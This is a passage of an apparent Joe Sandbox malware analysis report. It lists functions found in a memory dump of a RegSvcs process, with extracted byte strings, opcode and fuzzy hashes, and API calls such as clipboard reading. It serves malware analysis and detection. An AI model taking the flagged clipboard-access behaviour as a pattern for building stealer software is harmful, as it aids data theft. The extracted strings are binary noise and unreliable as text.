RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 00424D19

Strings

Yf, xrefs: 00424C95
0^#\, xrefs: 00424C81
2N L, xrefs: 00424C61
,J?H, xrefs: 00424C69
<ZvX, xrefs: 00424C89

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: ,J?H$0^#\$2N L$<ZvX$Yf
API String ID: 237503144-1848861685
Opcode ID: 352d15d9f24c16c61da26da978867a2d027ef5e98a053596fcfdd3d36aae38b8
Instruction ID: cf7ca87b2f0596926e46e05804bf3c396873adb78b926b1592a6b5006b988aa0
Opcode Fuzzy Hash: 352d15d9f24c16c61da26da978867a2d027ef5e98a053596fcfdd3d36aae38b8
Instruction Fuzzy Hash: F331F672A183604FE308CE29DC4136BBBE2EBC6700F16C52DD595E7284CAB599068B86

Function 00409390 Relevance: 10.4, Strings: 8, Instructions: 391COMMON

Download Yara Rule

Strings

rO!y, xrefs: 004096F3
q?u6, xrefs: 004093D1
s, xrefs: 004096C4
bb`l, xrefs: 004096D5
-,, xrefs: 00409552
wO!y, xrefs: 00409750
X^U, xrefs: 00409405
g](`, xrefs: 004093A9

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: X^U$-,$bb`l$g](`$q?u6$rO!y$s$wO!y
API String ID: 0-2316968779
Opcode ID: 616159b8467f867236aeabf19554ccb57c93c155bd9ac32f22d387ec66c956ab
Instruction ID: b80a0a21ed8a87b07576ad0ba0fd6a02d36ce5c2fa1e6a035ebc545b06362d39
Opcode Fuzzy Hash: 616159b8467f867236aeabf19554ccb57c93c155bd9ac32f22d387ec66c956ab
Instruction Fuzzy Hash: 39C1E67150C3918AC715CF25845076BFFE1AFA3214F1889AEE4D5AB383D739890AC796

Function 00416258 Relevance: 10.3, Strings: 8, Instructions: 277COMMON

Download Yara Rule

Strings

D, xrefs: 0041664A
P4b3, xrefs: 0041625D
~r, xrefs: 0041641F
s, xrefs: 0041642A
64, xrefs: 00416409
7jA, xrefs: 00416652
-M8, xrefs: 004163F7
U4b3, xrefs: 004162AA

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: 64$7jA$D$P4b3$U4b3$s$~r$-M8
API String ID: 0-1876645738
Opcode ID: d1e71ab9b6a31b86c410476175c1b4e6c0e8eb125f55606afd4317646a7dceb9
Instruction ID: d7253de12a5ac31247aecf402b659165ca0617a23e5a0d7132943c68ed4f2964
Opcode Fuzzy Hash: d1e71ab9b6a31b86c410476175c1b4e6c0e8eb125f55606afd4317646a7dceb9
Instruction Fuzzy Hash: 5B91ADB04193508ED3248F25C4A17ABBBF1FF92315F068A9DD4C95F3A1E7B88845CB96

Function 00436170 Relevance: 9.1, APIs: 6, Instructions: 131clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00436192
GetClipboardData.USER32 ref: 004361B3
CloseClipboard.USER32 ref: 00436303

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: Clipboard$CloseDataOpen
String ID:
API String ID: 2058664381-0
Opcode ID: 0d7c386abfe2bdb228737ef2f55fc659a3e442e5a9045e93012694c35bc894f6
Instruction ID: 34cb26e9e4c6b27c4c1662aee1e1ecac84295e8c5833f8bb625011490706dd8d
Opcode Fuzzy Hash: 0d7c386abfe2bdb228737ef2f55fc659a3e442e5a9045e93012694c35bc894f6
Instruction Fuzzy Hash: B541C6B19087929FD710AF78984935EBFA06B06320F06C77DE8E587282D3389559C797

Function 0042F5CA Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 187COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 0042F765

Strings

{t, xrefs: 0042F780
YyE^, xrefs: 0042F6C8
Mw, xrefs: 0042F765

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: FreeLibrary
String ID: YyE^${t$Mw
API String ID: 3664257935-3701178663
Opcode ID: 05d9e63fce0729a60e7d2af1c02dc65cd3ce7e9426828477944b2004357c9b88
Instruction ID: 1e3024dfe408ebe24ad3ce29a536408d1906c30e889e3e635620da0d5985478e
Opcode Fuzzy Hash: 05d9e63fce0729a60e7d2af1c02dc65cd3ce7e9426828477944b2004357c9b88
Instruction Fuzzy Hash: B3519E755483909BE320CF15DC40BABBFE2EFC6705F284A6DE4C567381DA794806C796

Function 00427E30 Relevance: 6.8, Strings: 5, Instructions: 578COMMON

Download Yara Rule

Strings

P^, xrefs: 004287DC
QL, xrefs: 004287C6
IS, xrefs: 004287D1
>n<l, xrefs: 00428679
'j7h, xrefs: 00428684

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: 'j7h$>n<l$IS$P^$QL
API String ID: 0-1761193668
Opcode ID: f7fbaae64fb9a875722841cbb7b2ea32f702bad3599d04f2af32adcf41bef345
Instruction ID: 5a425c430f50806010d92089ebefe52a2bda271445214b805fbe302423b536e6
Opcode Fuzzy Hash: f7fbaae64fb9a875722841cbb7b2ea32f702bad3599d04f2af32adcf41bef345
Instruction Fuzzy Hash: 931238B56083908FD7208F25D8517AFBBE1EFD2304F08492DE4C59B392DB399906CB4A

Function 0041ADE2 Relevance: 6.7, Strings: 5, Instructions: 496COMMON

Download Yara Rule

Strings

(nm7, xrefs: 0041B1B2
(nm7, xrefs: 0041AEDE
:nm7, xrefs: 0041B1F3
:nm7, xrefs: 0041AF23
hi, xrefs: 0041B1AB

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: (nm7$(nm7$:nm7$:nm7$hi
API String ID: 0-817421384
Opcode ID: cae3eabaf167c89d03809e2d4af40be31b31b975f3aea8647f4ac8d1e726bdb0
Instruction ID: 0be6a8663c43d4aaca04453db03c1950b5497c31327a35b9d14733426a195d32
Opcode Fuzzy Hash: cae3eabaf167c89d03809e2d4af40be31b31b975f3aea8647f4ac8d1e726bdb0
Instruction Fuzzy Hash: 77D188716083518BD320CF25C4A13B7BBE1EFDA354F185A5DE8C55B392E7798881CB8A

Function 0043EB40 Relevance: 5.6, Strings: 4, Instructions: 629COMMON

Download Yara Rule

Strings

S"(w, xrefs: 0043EEF0
f, xrefs: 0043EE4D
S"(w, xrefs: 0043ECC0
XYj[, xrefs: 0043EBA7

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: InitializeThunk
String ID: S"(w$S"(w$XYj[$f
API String ID: 2994545307-3050003921
Opcode ID: 31ca7bce7484abba1bb3a66f3687527102338f65e1a2f2bc0e588f5f04a08b43
Instruction ID: df6941b9aa2e2ced424d58079a3b466e12baaf5a429ae26393fff1d32766f347
Opcode Fuzzy Hash: 31ca7bce7484abba1bb3a66f3687527102338f65e1a2f2bc0e588f5f04a08b43
Instruction Fuzzy Hash: 56221375A093558FC724CF29C88062BB7E2ABC8314F29867DE8A5473D1D779EC05CB85

Function 00425710 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 203COMMON

Download Yara Rule

Strings

T*%(, xrefs: 00425792, 0042584B

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: T*%(
API String ID: 0-2377645250
Opcode ID: 52d14fbc54c99a029ea946d3a866b15d44990a19da47116e540f8d15494a2dd2
Instruction ID: 0c303d40e34a7186604afdbdd00cfc7998b6900ffb3a34422ea6c98c0fe4b3a2
Opcode Fuzzy Hash: 52d14fbc54c99a029ea946d3a866b15d44990a19da47116e540f8d15494a2dd2
Instruction Fuzzy Hash: 526157B6A087549FE320DF68DC44BDBB7E5EBC1308F40893DE9949B281C7B49C058B96

Function 00416A39 Relevance: 4.4, Strings: 3, Instructions: 648COMMON

Download Yara Rule

Strings

0bA, xrefs: 004171A5
P, xrefs: 00417012
rA, xrefs: 0041718F

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: rA$0bA$P
API String ID: 0-790227366
Opcode ID: a4cf8d674109704139cdff7f8e87dcab1b123051f5de6d47eb62a1cdbf795e6c
Instruction ID: a5babcb8ed54065b205bcff55ba7991bbaf369a5866da8f6fcdd6ef657c872a3
Opcode Fuzzy Hash: a4cf8d674109704139cdff7f8e87dcab1b123051f5de6d47eb62a1cdbf795e6c
Instruction Fuzzy Hash: EE1259342083409FDB288F25DC91BBB77E1EB9A315F19497EE4CA87291D7389841CB59

Function 00427E50 Relevance: 4.4, Strings: 3, Instructions: 644COMMON

Download Yara Rule

Strings

P^, xrefs: 004287DC
QL, xrefs: 004287C6
IS, xrefs: 004287D1

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: IS$P^$QL
API String ID: 0-3323920504
Opcode ID: 7d29d132e3f5c06ebeb80cd66d2d7f655bd9e96c7f8337dc09a17619eedd602e
Instruction ID: 42f21f0a5f168e2f3ebf8116a957bd1db3afb56b5268cb0573a9cb9b079c9317
Opcode Fuzzy Hash: 7d29d132e3f5c06ebeb80cd66d2d7f655bd9e96c7f8337dc09a17619eedd602e
Instruction Fuzzy Hash: C51213B56083918FD7108F24E85176FBBE1EF96304F18486EE4C59B392DB78D806CB5A

Function 0041A7C6 Relevance: 3.9, Strings: 3, Instructions: 161COMMON

Download Yara Rule

Strings

7szh, xrefs: 0041A8F8
v0vp, xrefs: 0041A940
3,:<, xrefs: 0041A8F0

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: 3,:<$7szh$v0vp
API String ID: 0-104745936
Opcode ID: ed0767d2f2a0b56f4536f04bb6653413941b03dd609c5e20e988f72bcf202a73
Instruction ID: 721b8ecc1e4661e72dc5e0bd747af4cb1d7967cae904a70f53e867cd395dbef6
Opcode Fuzzy Hash: ed0767d2f2a0b56f4536f04bb6653413941b03dd609c5e20e988f72bcf202a73
Instruction Fuzzy Hash: 62517B70A4C3904BD718CF29CC907AFFBE29BDA314F184A2DE1D59B391C679844ACB46

Function 00413C90 Relevance: 2.9, Strings: 2, Instructions: 402COMMON

Download Yara Rule

Strings

~*, xrefs: 00413EBD
NP,?, xrefs: 004145C0

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: NP,?$~*
API String ID: 0-2095874253
Opcode ID: 23957fee8452972a4c21f42f8294f8c111f90aa9540253d1d8fd0714b633606e
Instruction ID: 638d668569a9892d17dbb7577bc3ddf9df1cbadb231a1520db93c9a85d25f8d9
Opcode Fuzzy Hash: 23957fee8452972a4c21f42f8294f8c111f90aa9540253d1d8fd0714b633606e
Instruction Fuzzy Hash: 26A101716043009BD714DF28D8926B773B1EF86325F18492DE986873A1E378ED45C79A

Function 0041C620 Relevance: 2.8, Strings: 2, Instructions: 298COMMON

Download Yara Rule

Strings

qO!y, xrefs: 0041C771
vO!y, xrefs: 0041C7C3

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: qO!y$vO!y
API String ID: 0-270409050
Opcode ID: cbc75fbb4900678ccce19fa31768d601e843eb5df3b2028fae25a5db64a1dacc
Instruction ID: 8cd65dc74ad0327e81428561c772edfdc298159a592d3b611e3a0970eea62f03
Opcode Fuzzy Hash: cbc75fbb4900678ccce19fa31768d601e843eb5df3b2028fae25a5db64a1dacc
Instruction Fuzzy Hash: A0A1FA326442614FC712CE288C9079BBBD1AB95320F18863EE8E98B3D2D678D947D7D5

Function 00429CD0 Relevance: 2.6, Strings: 2, Instructions: 143COMMON

Download Yara Rule

Strings

ZA, xrefs: 00429D8A
^A, xrefs: 00429D92

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: ZA$^A
API String ID: 0-3223166598
Opcode ID: 12dd56d151bf32caf668782ab46c6c9b88569373734b1fa521a36ba00cab23dc
Instruction ID: ddb70907bf04f98cabf3af2da84173535de7c927cd24329114a76374933c9aed
Opcode Fuzzy Hash: 12dd56d151bf32caf668782ab46c6c9b88569373734b1fa521a36ba00cab23dc
Instruction Fuzzy Hash: F7410D78A193128BD314CF28D45126BB3F2EFC5310F98891DE4C68B785E77C9905CB8A

Function 0042E25A Relevance: 2.6, Strings: 2, Instructions: 94COMMON

Download Yara Rule

Strings

DPX-, xrefs: 0042E265
@EBz, xrefs: 0042E26D

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: @EBz$DPX-
API String ID: 0-1543336672
Opcode ID: 577c746759168d7aff2146727c5b4464635aba7a7102cf7440779ab70ccedaab
Instruction ID: 7851277b058ac0b209cefe19eaa8db76db98b69de6e75481cc50d565f205e5fa
Opcode Fuzzy Hash: 577c746759168d7aff2146727c5b4464635aba7a7102cf7440779ab70ccedaab
Instruction Fuzzy Hash: 0821457AA586004BD30CCF26CCA226ABBD39BD6314F1DD57E94C1D7395CE7CC8028A4A

Function 00417AB2 Relevance: 1.9, Strings: 1, Instructions: 661COMMON

Download Yara Rule

Strings

YDF, xrefs: 00417B25

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: YDF
API String ID: 0-1134066413
Opcode ID: 2385d3fbee1d5f09e30c5fcb0a3192e7d8994c217124a81d4785da73d0924ee0
Instruction ID: f2c25fa3394d1cdb042d63869d5334888943558a092f50b4faa42898af849086
Opcode Fuzzy Hash: 2385d3fbee1d5f09e30c5fcb0a3192e7d8994c217124a81d4785da73d0924ee0
Instruction Fuzzy Hash: C1125A716083508BD7248F29C8903EBB7E2EFD6324F18896EE4D597391DB389D42C756

Function 00414710 Relevance: 1.8, Strings: 1, Instructions: 534COMMON

Download Yara Rule

Strings

<=, xrefs: 00414D26

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: <=
API String ID: 0-1782720273
Opcode ID: 6dd3167a28c0532533e55076e64c0ac118e924d4b973979e5a2fd842394f0905
Instruction ID: 2d5b5d10aa978c34c829ed5a9a754e4b33e128829d68657d6e1262cc36a4df89
Opcode Fuzzy Hash: 6dd3167a28c0532533e55076e64c0ac118e924d4b973979e5a2fd842394f0905
Instruction Fuzzy Hash: 71F149B5A093408BE334DF25D841BABB3E2FFC5714F19852EE4998B391EB349841C75A

Function 00421550 Relevance: 1.7, Strings: 1, Instructions: 484COMMON

Download Yara Rule

Strings

8h, xrefs: 00421976

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: 8h
API String ID: 0-355420014
Opcode ID: 7a1d5bf2cdb9b687558e6260db994d4891e08432c718503675804cd323388fce
Instruction ID: 7880c12a320e834da22beb45adbbff2352b3a491f9d020b456ded142b3f5f8e4
Opcode Fuzzy Hash: 7a1d5bf2cdb9b687558e6260db994d4891e08432c718503675804cd323388fce
Instruction Fuzzy Hash: A3D1DD706083508FD710DF64D891AABBBF0EFD5318F08892DE9859B391E379D806CB56

Function 00420534 Relevance: 1.7, Strings: 1, Instructions: 429COMMON

Download Yara Rule

Strings

b`, xrefs: 004205E4

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: b`
API String ID: 0-4035881605
Opcode ID: 450600f702eca60eb883aac7659496276727bea5a216c2ef69dfea68026a0994
Instruction ID: c0520297eb3adcb8f3e7156067e2b84242ea816692d5278fa2f5c3550a7600af
Opcode Fuzzy Hash: 450600f702eca60eb883aac7659496276727bea5a216c2ef69dfea68026a0994
Instruction Fuzzy Hash: 72C138B5A00321CBDB28CF24C892277B7B1FF96310B58925DD8525F79AE378A851CBD4

Function 0042CAD0 Relevance: 1.7, Strings: 1, Instructions: 426COMMON

Download Yara Rule

Strings

", xrefs: 0042CDC8

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 885fb8836b2287351fdde6e855c97389a0fb2deaad078ac45cb5831455ce2eeb
Instruction ID: 8b08a49a2ae448aa1ab36bdaf8c7bc44a39a0b27c48ee0e13f369eb4cc08eef8
Opcode Fuzzy Hash: 885fb8836b2287351fdde6e855c97389a0fb2deaad078ac45cb5831455ce2eeb
Instruction Fuzzy Hash: F2D1E372B083255BC714CE25E48166FBBEAAF84314F598A2EE899873C1D738DD05C7C6

Function 0043C0A0 Relevance: 1.6, Strings: 1, Instructions: 392COMMON

Download Yara Rule

Strings

NP,?, xrefs: 0043C2B0

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: NP,?
API String ID: 0-3110377521
Opcode ID: 277b2d8aba25ebaca961f41e26d6ed4be2783f1930e3b474b3f1f864761ee893
Instruction ID: 48a1e74a43d32d56d097ee5a720c26fde6d37ce628be33490e6cb5f02a8524d6
Opcode Fuzzy Hash: 277b2d8aba25ebaca961f41e26d6ed4be2783f1930e3b474b3f1f864761ee893
Instruction Fuzzy Hash: 2DA18C31B043049BD724DB65CCC163BB396EBCD718F28662EE9A5673D2D7389C018B99

Function 004298A0 Relevance: 1.6, APIs: 1, Instructions: 128COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 0042992E

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 7e8f2c0d766f4dcca8df9cb47dd67d6392822af6258273013d36131482ace8ef
Instruction ID: 274383d700a58c9d09b626b80b60ce684ceed01be6f806bd671cff94e1d12845
Opcode Fuzzy Hash: 7e8f2c0d766f4dcca8df9cb47dd67d6392822af6258273013d36131482ace8ef
Instruction Fuzzy Hash: A0312972B1C3259FD720AF64B84176FF3D4DB42704F58883EE899A7241D6399C06C69B

Function 0042F0BD Relevance: 1.5, Strings: 1, Instructions: 298COMMON

Download Yara Rule

Strings

}yyv, xrefs: 0042F308

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: }yyv
API String ID: 0-2762662452
Opcode ID: 92385740ba2164b8250d6eb4994fefb03e437076927f81a6504f88d4db7ebe61
Instruction ID: d0fb55c9af4d4a8908fff3dca406877d634963ce57434341bd30e0d50eca6a3a
Opcode Fuzzy Hash: 92385740ba2164b8250d6eb4994fefb03e437076927f81a6504f88d4db7ebe61
Instruction Fuzzy Hash: 86918D7164C3618BC318CF29D49036BBBE1AFD6314F984A7EE8D697341C778D8098796

Function 0042F12D Relevance: 1.5, Strings: 1, Instructions: 293COMMON

Download Yara Rule

Strings

}yyv, xrefs: 0042F308

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: }yyv
API String ID: 0-2762662452
Opcode ID: b938b62bdadf068e384865459352bae1852732d104dd4fdec1f9e66e00df3a7f
Instruction ID: fc7333de77dcb4a5e4f9223bd65d23dafec24073a6d44b68be1fc1d0f732a7d4
Opcode Fuzzy Hash: b938b62bdadf068e384865459352bae1852732d104dd4fdec1f9e66e00df3a7f
Instruction Fuzzy Hash: 06917E7164C3618BD318CF29D8A037B7BE1AFD6314F98467EE8D797381C67888098796

Function 0042F1D9 Relevance: 1.5, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

}yyv, xrefs: 0042F308

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: }yyv
API String ID: 0-2762662452
Opcode ID: 3a52e5123617274a2690acd1d65039aa0b031ec491876c27f0a08a2663993c51
Instruction ID: 9ab7f8286d5d0c04a5e511a41cde927bbf0b3f2e95bf45a3a8d16cc43a0ed2c0
Opcode Fuzzy Hash: 3a52e5123617274a2690acd1d65039aa0b031ec491876c27f0a08a2663993c51
Instruction Fuzzy Hash: 72816EB564C3618BC318CF2998A036BBBE1AFD6314F5946BDE8D697341D3388809C796

Function 00414559 Relevance: 1.4, Strings: 1, Instructions: 196COMMON

Download Yara Rule

Strings

NP,?, xrefs: 004145C0

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: NP,?
API String ID: 0-3110377521
Opcode ID: 3fab16dcf5e3c7deb766e4f7ff53259720249a1f2b16e3603fb18f5a63909bcb
Instruction ID: 7a7cc81436fb890a2ff0f46980fd0cd0a0eecb4c8bb365b6715e1f98330af843
Opcode Fuzzy Hash: 3fab16dcf5e3c7deb766e4f7ff53259720249a1f2b16e3603fb18f5a63909bcb
Instruction Fuzzy Hash: 1251157A60C200EFE7009F15FC4166A73A2FBCA30AF18497DF949522A1E7359C57CB5A

Function 0042D890 Relevance: 1.4, Strings: 1, Instructions: 160COMMON

Download Yara Rule

Strings

-(#g, xrefs: 0042D9F9

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: -(#g
API String ID: 0-675101757
Opcode ID: 06f7d05e14d67a63795e35a03bc25f951a567a278af69ba055cc3c79fdcf7687
Instruction ID: 85621ed855e747ca2bd24ffee8a10a62e2c69ada1e6a13508ba0be1248e45630
Opcode Fuzzy Hash: 06f7d05e14d67a63795e35a03bc25f951a567a278af69ba055cc3c79fdcf7687
Instruction Fuzzy Hash: 2D41E66060D3E18BDB368B3595647FBBFE1AFA7304F584AADC0D99B246CB384106C716

Function 0042D8F5 Relevance: 1.4, Strings: 1, Instructions: 140COMMON

Download Yara Rule

Strings

-(#g, xrefs: 0042D9F9

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: -(#g
API String ID: 0-675101757
Opcode ID: c68367a782d0418c88efe72e211426c3c8a69298bbc2d476b2bbf85bfc873e94
Instruction ID: 6505d5137a7935af8bcfd12cb380c2a47b189af31798fa6c40774f61b50ae9b0
Opcode Fuzzy Hash: c68367a782d0418c88efe72e211426c3c8a69298bbc2d476b2bbf85bfc873e94
Instruction Fuzzy Hash: AE41226050C3E18ADB368B3590A47B7BFE09FA7204F985A9DD0DD9B287CB384006CB17

Function 0044011F Relevance: 1.4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

@, xrefs: 0044020D

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 56c27cc823615eb7f8a782ee4f329985dfbea0fed2f3b5a5b8d7194a6444c074
Instruction ID: 53c8245dd2ce3d572382ac641216a841cb97c1b7afe8c7e7762af22ed9f1ce74
Opcode Fuzzy Hash: 56c27cc823615eb7f8a782ee4f329985dfbea0fed2f3b5a5b8d7194a6444c074
Instruction Fuzzy Hash: 5C41ADB06193018BE708DF25C46122BB7F2FFD5704F29592DE5C69B390E7788905CB9A

Function 0042D859 Relevance: 1.4, Strings: 1, Instructions: 110COMMON

Download Yara Rule

Strings

-(#g, xrefs: 0042D9F9

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: -(#g
API String ID: 0-675101757
Opcode ID: 9f2217f24eea5da6d305051cae18358e10787baba71cda17f4d19ed1a34f9827
Instruction ID: 4c97efdda60d95c7b83fc2b90009d4b7d1ba60afca2940e32689ada65f606c64
Opcode Fuzzy Hash: 9f2217f24eea5da6d305051cae18358e10787baba71cda17f4d19ed1a34f9827
Instruction Fuzzy Hash: 8D318F6050D3E28ADF368B3595687BBBBE09F53214F944A9DD0DD9B282CB384406CB17

Function 0042E96A Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

J, xrefs: 0042E972

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: J
API String ID: 0-1141589763
Opcode ID: 77f9c0abf6a08f5a23f61e0a4ab031430b1dc9ffb9ca7a4849c5a7077fb92811
Instruction ID: 082b0546ef60b0714dfce9d4aa827d655dfe368a9e8240b7501b18b2f780f11d
Opcode Fuzzy Hash: 77f9c0abf6a08f5a23f61e0a4ab031430b1dc9ffb9ca7a4849c5a7077fb92811
Instruction Fuzzy Hash: EF0145B27892928BD305CF3AC46027ABBE19FDB311F1D496ED4C11B2C0D638994B9B56

Function 004412D0 Relevance: .7, Instructions: 673COMMON

Download Yara Rule

Memory Dump Source

